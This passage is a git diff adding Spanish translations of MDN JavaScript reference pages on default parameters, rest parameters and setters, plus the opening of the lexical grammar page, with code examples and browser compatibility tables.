+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a></code></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Lexica grammatical</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/funciones/parametros_por_defecto/index.html b/files/es/web/javascript/referencia/funciones/parametros_por_defecto/index.html
new file mode 100644
index 0000000000..e319a3606b
--- /dev/null
+++ b/files/es/web/javascript/referencia/funciones/parametros_por_defecto/index.html
@@ -0,0 +1,234 @@
+---
+title: Parámetros predeterminados
+slug: Web/JavaScript/Referencia/Funciones/Parametros_por_defecto
+tags:
+  - Característica del lenguaje
+  - ECMAScript 2015
+  - Funciones
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Functions/Default_parameters
+---
+<div>{{jsSidebar("Functions", "Funciones")}}</div>
+
+<p><span class="seoSummary"><strong>Parámetros predeterminados de función</strong> permiten que los parámetros con nombre se inicien con valores predeterminados si no se pasa ningún valor o <code>undefined</code>.</span></p>
+
+<div>{{EmbedInteractiveExample("pages/js/functions-default.html")}}</div>
+
+<p class="hidden">La fuente de este ejemplo interactivo se almacena en un repositorio de GitHub. Si deseas contribuir al proyecto de ejemplos interactivos, clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos una solicitud de extracción.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">function [<var>name</var>]([<var>param1</var>[ = <var>defaultValue1</var> ][, ..., <var>paramN</var>[ = <var>defaultValueN</var> ]]]) {
+   <var>statements</var>
+}
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>En JavaScript, los parámetros de función están predeterminados en {{jsxref("undefined")}}. Sin embargo, a menudo es útil establecer un valor predeterminado diferente. Aquí es donde los parámetros predeterminados pueden ayudar.</p>
+
+<p>En el pasado, la estrategia general para establecer valores predeterminados era probar los valores de los parámetros en el cuerpo de la función y asignar un valor si eran <code>undefined</code>.</p>
+
+<p>En el siguiente ejemplo, si no se proporciona ningún valor para <code><var>b</var></code> cuando se llama a <code>multiply</code>, el valor de <code><var>b</var></code> sería <code>undefined</code> al evaluar <code><var>a</var> * <var>b</var></code> y <code>multiply</code> devolvería <code>NaN</code>.</p>
+
+<pre class="brush: js notranslate">function multiply(a, b) {
+  return a * b
+}
+
+multiply(5, 2)  // 10
+multiply(5)     // NaN !
+</pre>
+
+<p>Para protegerte contra esto, usarías algo como la segunda línea, donde <code><var>b</var></code> se establece en <code>1</code> si llamas a <code>multiply</code> con un solo argumento:</p>
+
+<pre class="brush: js notranslate">function multiply(a, b) {
+  b = (typeof b !== 'undefined') ?  b : 1
+  return a * b
+}
+
+multiply(5, 2)  // 10
+multiply(5)     // 5
+</pre>
+
+<p>Con los parámetros predeterminados en ES2015, las comprobaciones en el cuerpo de la función ya no son necesarias. Ahora, puedes asignar <code>1</code> como valor predeterminado para <code><var>b</var></code> en el encabezado de la función:</p>
+
+<pre class="brush: js notranslate">function multiply(a, b = 1) {
+  return a * b
+}
+
+multiply(5, 2)          // 10
+multiply(5)             // 5
+multiply(5, undefined)  // 5
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Pasar_undefined_vs._otros_valores_falsos">Pasar <code>undefined</code> vs. otros valores falsos</h3>
+
+<p>En la segunda llamada de este ejemplo, incluso si el primer argumento se establece explícitamente en <code>undefined</code> (aunque no <code>null</code> u otros valores {{Glossary("falsy", "falsos", "", 1)}} , el valor del argumento <code><var>num</var></code> sigue siendo el predeterminado.</p>
+
+<pre class="brush: js notranslate">function test(num = 1) {
+  console.log(typeof num)
+}
+
+test()           // 'number' (num se establece en 1)
+test(undefined)  // 'number' (num se establece en 1 también)
+
+// prueba con otros valores falsos:
+test('')         // 'string' (num se establece en '')
+test(null)       // 'object' (num se establece en null)
+</pre>
+
+<h3 id="Evaluado_en_el_momento_de_la_llamada">Evaluado en el momento de la llamada</h3>
+
+<p>El argumento predeterminado se evalúa en el <em>momento de la llamada</em>. Entonces, a diferencia de (por ejemplo) Python, se crea un nuevo objeto cada vez que se llama a la función.</p>
+
+<pre class="brush: js notranslate">function append(value, array = []) {
+  array.push(value)
+  return array
+}
+
+append(1)  // [1]
+append(2)  // [2], no [1, 2]
+</pre>
+
+<p>Esto incluso se aplica a funciones y variables:</p>
+
+<pre class="brush: js notranslate">function callSomething(thing = something()) {
+  return thing
+}
+
+let numberOfTimesCalled = 0
+function something() {
+  numberOfTimesCalled += 1
+  return numberOfTimesCalled
+}
+
+callSomething()  // 1
+callSomething()  // 2
+</pre>
+
+<h3 id="Los_parámetros_anteriores_están_disponibles_para_los_parámetros_predeterminados_posteriores">Los parámetros anteriores están disponibles para los parámetros predeterminados posteriores</h3>
+
+<p>Los parámetros definidos anteriormente (a la izquierda) están disponibles para los parámetros predeterminados posteriores:</p>
+
+<pre class="brush: js notranslate">function greet(name, greeting, message = greeting + ' ' + name) {
+  return [name, greeting, message]
+}
+
+greet('David', 'Hi')                     // ["David", "Hi", "Hi David"]
+greet('David', 'Hi', 'Happy Birthday!')  // ["David", "Hi", "Happy Birthday!"]
+</pre>
+
+<p>Esta funcionalidad se puede aproximar de esta manera, lo que demuestra cuántos casos extremos se manejan:</p>
+
+<pre class="brush: js notranslate">function go() {
+  return ':P'
+}
+
+function withDefaults(a, b = 5, c = b, d = go(), e = this,
+                      f = arguments, g = this.value) {
+  return [a, b, c, d, e, f, g]
+}
+
+function withoutDefaults(a, b, c, d, e, f, g) {
+  switch (arguments.length) {
+    case 0:
+      a;
+    case 1:
+      b = 5;
+    case 2:
+      c = b;
+    case 3:
+      d = go();
+    case 4:
+      e = this;
+    case 5:
+      f = arguments;
+    case 6:
+      g = this.value;
+    default:
+  }
+  return [a, b, c, d, e, f, g];
+}
+
+withDefaults.call({value: '=^_^='});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+
+withoutDefaults.call({value: '=^_^='});
+// [undefined, 5, 5, ":P", {value:"=^_^="}, arguments, "=^_^="]
+</pre>
+
+<h3 id="Efectos_de_el_ámbito">Efectos de el ámbito</h3>
+
+<p>Si se definen parámetros predeterminados para uno o más parámetros, se crea un <a href="https://tc39.es/ecma262/#sec-functiondeclarationinstantiation">segundo ámbito</a> (registro de entorno), específicamente para los identificadores dentro de la lista de parámetros. Este ámbito es padre del ámbito creado para el cuerpo de la función.</p>
+
+<p>Esto significa que no se puede hacer referencia a las funciones y variables declaradas en el cuerpo de la función desde los iniciadores de parámetros de valor predeterminado; intentar hacerlo arroja un {{jsxref("ReferenceError")}} en tiempo de ejecución.</p>
+
+<p>También significa que las variables declaradas dentro del cuerpo de la función usando <code>var</code> enmascararán los parámetros del mismo nombre, en lugar de que el comportamiento habitual de las declaraciones <code>var</code> duplicadas no tenga ningún efecto.</p>
+
+<p>La siguiente función arrojará un <code>ReferenceError</code> cuando se invoca, porque el valor del parámetro predeterminado no tiene acceso al ámbito secundario del cuerpo de la función:</p>
+
+<pre class="brush: js example-bad notranslate">function f(a = go()) { // Lanza un `ReferenceError` cuando se invoca a `f`.
+  function go() { return ':P' }
+}
+</pre>
+
+<p>...y esta función imprimirá <code>undefined</code> porque la variable <code>var a</code> se eleva solo a la parte superior del ámbito creado para el cuerpo de la función (y no hasta el ámbito principal creado para la lista de parámetros):</p>
+
+<pre class="brush: js example-bad notranslate">function f(a, b = () =&gt; console.log(a)) {
+  var a = 1
+  b() // Imprime `undefined`, porque los valores de los parámetros predeterminados existen en su propio ámbito
+}
+</pre>
+
+<h3 id="Parámetros_sin_valores_predeterminados_después_de_los_parámetros_predeterminados">Parámetros sin valores predeterminados después de los parámetros predeterminados</h3>
+
+<p>Los parámetros aún se establecen de izquierda a derecha, sobrescribiendo los parámetros predeterminados incluso si hay parámetros posteriores sin valores predeterminados.</p>
+
+<pre class="brush: js notranslate">function f(x = 1, y) {
+  return [x, y]
+}
+
+f()   // [1, undefined]
+f(2)  // [2, undefined]
+</pre>
+
+<h3 id="Parámetro_desestructurado_con_asignación_de_valor_predeterminado">Parámetro desestructurado con asignación de valor predeterminado</h3>
+
+<p>Puedes usar la asignación de valor predeterminado con la notación {{jsxref("Operators/Destructuring_assignment", "la desestructuración", "", 1)}}:</p>
+
+<pre class="brush: js notranslate">function f([x, y] = [1, 2], {z: z} = {z: 3}) {
+  return x + y + z
+}
+
+f()  // 6</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Definición de Funciones')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidad de esta página se genera a partir de datos estructurados. Si deseas contribuir con los datos, consulta <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos una solicitud de extracción.</div>
+
+<p>{{Compat("javascript.functions.default_parameters")}}</p>
+</div>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values" rel="external" title="http://wiki.ecmascript.org/doku.php?id=harmony:parameter_default_values">Propuesta original en ecmascript.org</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/funciones/parametros_rest/index.html b/files/es/web/javascript/referencia/funciones/parametros_rest/index.html
new file mode 100644
index 0000000000..2e26e2c6e0
--- /dev/null
+++ b/files/es/web/javascript/referencia/funciones/parametros_rest/index.html
@@ -0,0 +1,266 @@
+---
+title: Parámetros Rest
+slug: Web/JavaScript/Referencia/Funciones/parametros_rest
+tags:
+  - Funciones
+  - JavaScript
+  - Parametros Rest
+translation_of: Web/JavaScript/Reference/Functions/rest_parameters
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>La sintaxis de los <strong>parámetros rest </strong>nos permiten representar un número indefinido de argumentos como un array.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-restparameters.html")}}</p>
+
+<p>La fuente interactiva de este ejemplo es almacenado en un repositorio de GitHub. Si a ti te gustaría contribuir al proyecto de ejemplos interactivos, por favor clona este repositorio <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> y envíanos un pull-request.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js notranslate">function(a, b, ...theArgs) {
+  // ...
+}
+</pre>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p class="brush: js">El último parámetro de una función se puede prefijar con <code>...</code>, lo que hará que todos los argumentos restantes (suministrados por el usuario) se coloquen dentro de un array de javascript "estándar".</p>
+
+<p class="brush: js">Sólo el último parámetro puede ser un "parámetro rest".</p>
+
+<pre class="brush: js notranslate">function myFun(a, b, ...manyMoreArgs) {
+  console.log("a", a);
+  console.log("b", b);
+  console.log("manyMoreArgs", manyMoreArgs);
+}
+
+myFun("one", "two", "three", "four", "five", "six");
+
+// Console Output:
+// a, one
+// b, two
+// manyMoreArgs, [three, four, five, six]
+</pre>
+
+<h3 id="Diferencia_entre_los_parámetros_rest_y_el_objeto_arguments">Diferencia entre los parámetros rest y el objeto <code>arguments</code></h3>
+
+<p>Hay tres principales diferencias entre los parámetros rest y el objeto <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments" title="arguments"><code>arguments</code></a>:</p>
+
+<ul>
+ <li>los parámetros rest son sólo aquellos a los que no se les ha asignado un nombre, mientras que el objeto <code>arguments</code> contiene todos los argumentos que se le han pasado a la función;</li>
+ <li>el objeto <code>arguments</code> no es un array real, mientras que los parámetros rest son instancias de  <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a> , lo que significa que lo los métodos como <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort" title="Array sort method"><code>sort</code></a>, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="Array map method"><code>map</code></a>, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach" title="Array forEach method"><code>forEach</code></a> o <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop" title="Array pop method"><code>pop</code></a> pueden aplicarse directamente;</li>
+ <li>el objeto <code>arguments</code> tiene una funcionalidad adicional específica para sí mismo (como la propiedad <code>callee</code>).</li>
+</ul>
+
+<h3 id="De_argumentos_a_array">De argumentos a array</h3>
+
+<p>Los parámetros rest han sido agregados para reducir el código repetitivo que se usaba en los parámetros.</p>
+
+<pre class="brush: js notranslate">// Antes de los parámetros rest, "arguments" se podía convertir en un array usando:
+
+function f(a, b) {
+
+  let normalArray = Array.prototype.slice.call(arguments)
+  // -- o  --
+  let normalArray = [].slice.call(arguments)
+  // -- o  --
+  let normalArray = Array.from(arguments)
+
+  let first = normalArray.shift()  // OK, nos da el primer argumento
+  let first = arguments.shift()    // ERROR (arguments no es un array)
+}
+
+// Ahora, puedes acceder fácilmente a un array usando un parametro rest.
+
+function f(...args) {
+  let normalArray = args
+  let first = normalArray.shift() // OK, gives the first argument
+}</pre>
+
+<h3 id="Desestructuración_de_los_parametros_rest">Desestructuración de los parametros rest</h3>
+
+<p>Los parámetros rest pueden ser desestructurados, eso significa que sus datos pueden ser desempaquetados dentro de distintas variables. Ver <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring assignment</a>.</p>
+
+<pre class="notranslate"><code>function f(...[a, b, c]) {
+  return a + b + c;
+}
+
+f(1)          // NaN (b y c son indefinidos)
+f(1, 2, 3)    // 6
+f(1, 2, 3, 4) // 6 (el cuarto parámetro no está desestructurado)</code></pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_parámetros_rest">Usando parámetros rest</h3>
+
+<p>En este ejemplo, el primer argumento es mapeado con 'a' y el segundo con 'b', entonces, esos argumentos nombrados, son usados normalmente</p>
+
+<p>De todas formas, el tercer argumento, <code>manyMoreArgs</code>, será un array que contendrá tantos argumentos como el usuario incluya (3er, 4to, 5to ...).</p>
+
+<pre class="brush: js notranslate">function myFun(a, b, ...manyMoreArgs) {
+  console.log("a", a)
+  console.log("b", b)
+  console.log("manyMoreArgs", manyMoreArgs)
+}
+
+myFun("one", "two", "three", "four", "five", "six")
+
+// a, one
+// b, two
+// manyMoreArgs, [three, four, five, six]</pre>
+
+<p>Debajo... incluso si hay solo un valor, el ultimo argumento seguirá siendo colocado dentro de un array.</p>
+
+<pre class="brush: js notranslate">// usando la misma definición de función del ejemplo anterior
+myFun("one", "two", "three")
+
+// a, one
+// b, two
+// manyMoreArgs, [three]</pre>
+
+<p>Debajo, el tercer argumento no esta provisto, pero <code>manyMoreArgs</code> continúa siendo un array (aunque uno vacío).</p>
+
+<pre class="brush: js notranslate">//usando la misma definición de función del ejemplo anterior
+
+myFun("one", "two")
+
+// a, one
+// b, two
+// manyMoreArgs, []</pre>
+
+<h3 id="Argument_length">Argument length</h3>
+
+<p>Puesto que <code>theArgs</code> es un array, su tamaño (un conteo de sus elementos) es dado por la propiedad <code>length</code> :</p>
+
+<pre class="brush: js notranslate">function fun1(...theArgs) {
+  console.log(theArgs.length);
+}
+
+fun1();  // 0
+fun1(5); // 1
+fun1(5, 6, 7); // 3
+</pre>
+
+<h3 id="Ordinary_parameter_and_rest_parameters">Ordinary parameter and rest parameters</h3>
+
+<p>En el siguiente ejemplo, se usa un parámetro rest para agrupar  dentro de un array a todos los argumentos despues del primero.  Luego cada uno es multiplicado por el primero y el arreglo es retornado:</p>
+
+<pre class="brush: js notranslate">function multiply(multiplier, ...theArgs) {
+  return theArgs.map(function (element) {
+    return multiplier * element;
+  });
+}
+
+let arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]
+</pre>
+
+<p>El siguiente ejemplo muestra que se puede usar los métodos de <code>Array</code> en los parámetros rest , pero no en el objeto <code>arguments</code>:</p>
+
+<pre class="brush: js notranslate">function sortRestArgs(...theArgs) {
+  var sortedArgs = theArgs.sort();
+  return sortedArgs;
+}
+
+console.log(sortRestArgs(5,3,7,1)); // muestra 1,3,5,7
+
+function sortArguments() {
+  var sortedArgs = arguments.sort();
+  return sortedArgs; // esto nunca va a ocurrir
+}
+
+// lanza un TypeError: arguments.sort is not a function
+console.log(sortArguments(5,3,7,1));
+</pre>
+
+<p>Para poder usar los métodos de  <code>Array</code> en el objeto <code>arguments</code>, se debe convertir a un <code>Array</code> primero.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>definción inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function Definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47)}}</td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(47)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator" title="spread operator">Spread Operator</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments" title="arguments">Arguments object</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array" title="Arreglos">Array</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions" title="Functions and function scope">Functions</a></li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:rest_parameters">Original proposal at ecmascript.org</a></li>
+ <li><a class="external" href="http://javascriptweblog.wordpress.com/2011/01/18/javascripts-arguments-object-and-beyond/">JavaScript arguments object and beyond</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring assignment</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/funciones/set/index.html b/files/es/web/javascript/referencia/funciones/set/index.html
new file mode 100644
index 0000000000..ef555e6759
--- /dev/null
+++ b/files/es/web/javascript/referencia/funciones/set/index.html
@@ -0,0 +1,217 @@
+---
+title: setter
+slug: Web/JavaScript/Referencia/Funciones/set
+translation_of: Web/JavaScript/Reference/Functions/set
+---
+<div>{{jsSidebar("Funciones")}}</div>
+
+<p>La sintaxis  <strong><code>set</code></strong>  asocia la propiedad de un objeto a una función que será llamada cuando haya un intento de asignar valor a esa propiedad.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">{set <em>prop</em>(<em>val</em>) { . . . }}
+{set [expression](<em>val</em>) { . . . }}</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><em><code>prop</code></em></dt>
+ <dd>El nombre de la propiedad a asociar con la función dada.</dd>
+</dl>
+
+<dl>
+ <dt><em><code>val</code></em></dt>
+ <dd>Un alias para la variable que contiene el valor a asignar a la <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">propiedad</span></font>.</dd>
+ <dt><em><code>expression</code></em></dt>
+ <dd>A partir de ECMAScript 2015, se puede también usar expresiones para nombres de propiedades computados para asociar a la función dada.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>En JavaScript, un setter puede ser usado para ejecutar una función donde sea que una propiedad se intente cambiar. Los setters son regularmente usados en conjunto con getters para crear un tipo de pseudo-propiedad. No es posible tener simultáneamente un setter en una propiedad que ya tiene un valor.</p>
+
+<p>Tenga en cuenta lo siguiente al trabajar con setters:</p>
+
+<div>
+<ul>
+ <li>Puede tener un identificador ya sea number o string;</li>
+ <li>Debe tener exactamente un parámentro (ver <a class="external" href="http://whereswalden.com/2010/08/22/incompatible-es5-change-literal-getter-and-setter-functions-must-now-have-exactly-zero-or-one-arguments/" rel="external nofollow">Incompatible <abbr title="ECMAScript 5th edition">ES5</abbr> change: literal getter and setter functions must now have exactly zero or one arguments</a> para más información);</li>
+ <li>No debe aparecer en un objeto de notación literal con otro <code>set</code> o con otra entrada de datos con la misma propiedad.<br>
+  ( <code>{ set x(v) { }, set x(v) { } }</code> y <code>{ x: ..., set x(v) { } }</code> están prohibidos )</li>
+</ul>
+</div>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Definiendo_un_setter_en_el_inicializador_de_nuevos_objetos">Definiendo un setter en el inicializador de nuevos objetos</h3>
+
+<p>En el siguiente ejemplo definimos una pseudo-propiedad  <code>actual</code>  al objeto <code>lenguaje</code>. Cuando se le asigne un valor a <code>actual</code>, actualiza <code>log</code> con ese valor:</p>
+
+<pre class="brush: js notranslate">var lenguaje = {
+  set actual(mensaje) {
+    this.log.push(mensaje);
+  },
+  log: []
+}
+lenguaje.actual='ES';
+console.log(lenguaje.log); // ['ES']
+
+lenguaje.actual='FR';
+console.log(lenguaje.log); // ['ES', 'FR']
+</pre>
+
+
+
+<p>Note que <code>actual</code> no está definido y cualquier intento de accederlo devolverá <code>undefined</code>.</p>
+
+<h3 id="Eliminando_un_setter_con_el_operador_delete">Eliminando un setter con el operador <code>delete</code> </h3>
+
+<p>Si desea eliminar el setter, puede simplemente aplicar <a href="/es/docs/Web/JavaScript/Referencia/Operadores/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete"><code>delete</code></a> en él:</p>
+
+<pre class="brush: js notranslate">delete lenguaje.actual;
+</pre>
+
+<h3 id="Definiendo_un_setter_en_un_objecto_existente_usando_defineProperty">Definiendo un setter en un objecto existente usando <code>defineProperty</code></h3>
+
+<p>Para añadir un setter a un objeto <em>existente</em>,<em> </em>use {{jsxref("Object.defineProperty()")}}</p>
+
+<pre class="brush: js notranslate">consr o = {a: 0};
+
+Object.defineProperty(o, 'b', {
+  set: function (x) { this.a = x / 2; }
+});
+
+o.b = 10; // Ejecuta el setter, el cual asigna 10 / 2 (5) a la propiedad 'a'
+console.log(o.a) // 5</pre>
+
+<h3 id="Usando_un_nombre_de_propiedad_computado">Usando un nombre de propiedad computado</h3>
+
+<div class="note">
+<p><strong>Nota:</strong> Propiedades computadas son 'experimental technology'<em>,</em> parte de la propuesta para ECMAScript 6, y no está soportado en todos los navegadores. Dará error de sintaxis en entornos no soportados.</p>
+</div>
+
+<pre class="brush: js notranslate">const expr = 'foo';
+
+var obj = {
+  baz: 'bar',
+  set [expr](v) { this.baz = v; }
+};
+
+console.log(obj.baz); // "bar"
+obj.foo = "baz";      // ejecuta el setter
+console.log(obj.baz); // "baz"
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.5', 'Object Initializer')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Se añaden las propiedades computadas.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-method-definitions', 'Method definitions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }}</td>
+   <td>{{ CompatIE(9) }}</td>
+   <td>9.5</td>
+   <td>3</td>
+  </tr>
+  <tr>
+   <td>Computed property names</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("34") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("1.8.1") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Computed property names</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("34.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notas_específicas_para_SpiderMonkey-specific">Notas específicas para SpiderMonkey-specific</h2>
+
+<ul>
+ <li>Comenzando con<a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8.1"> JavaScript 1.8.1</a>, los setters ya no son llamados cuando se definen las propiedades en los inicializadores de objetos y arrays.</li>
+ <li>De SpiderMonkey 38 en adelante, un setter con un {{jsxref("Functions/rest_parameters", "rest parameter", "", 1)}} es un {{jsxref("SyntaxError")}} conforme a la especificación ES6.</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions/get">getter</a></li>
+ <li>{{jsxref("Operators/delete", "delete")}}</li>
+ <li>{{jsxref("Object.defineProperty()")}}</li>
+ <li>{{jsxref("Object.defineGetter", "__defineGetter__")}}</li>
+ <li>{{jsxref("Object.defineSetter", "__defineSetter__")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Definiendo Getters y Setters</a> en la Guía JavaScript</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/gramatica_lexica/index.html b/files/es/web/javascript/referencia/gramatica_lexica/index.html
new file mode 100644
index 0000000000..fd6a12d8c5
--- /dev/null
+++ b/files/es/web/javascript/referencia/gramatica_lexica/index.html
@@ -0,0 +1,661 @@
+---
+title: Gramática léxica
+slug: Web/JavaScript/Referencia/Gramatica_lexica
+tags:
+  - Gramática léxica
+  - Guía
+  - JaveScript
+  - Literal
+  - Palabra clave
+translation_of: Web/JavaScript/Reference/Lexical_grammar
+---
+<div>{{JsSidebar("Más")}}</div>
+
+<p>Esta página describe la gramática léxica de JavaScript. El texto fuente de los scripts de ECMAScript se escanea de izquierda a derecha y se convierte en una secuencia de elementos de entrada que son segmentos, caracteres de control, terminadores de línea, comentarios o {{Glossary("Espacio en blanco")}}. ECMAScript también define ciertas palabras clave y literales y tiene reglas para la inserción automática del punto y coma en las declaraciones finales.</p>
+
+<h2 id="Caracteres_de_control">Caracteres de control</h2>
+
+<p>Los caracteres de control no tienen representación visual, pero se utilizan para controlar la interpretación del texto.</p>
+
+<table class="standard-table">
+ <caption>Caracteres de control de formato Unicode</caption>
+ <thead>
+  <tr>
+   <th>Punto de código</th>
+   <th>Nombre</th>
+   <th>Abreviatura</th>
+   <th>Descripción</th>
+  </tr>
+ </thead>
+ <thead>
+  <tr>
+   <td><code>U+200C</code></td>
+   <td>Separador de ancho cero</td>
+   <td>&lt;ZWNJ&gt;</td>
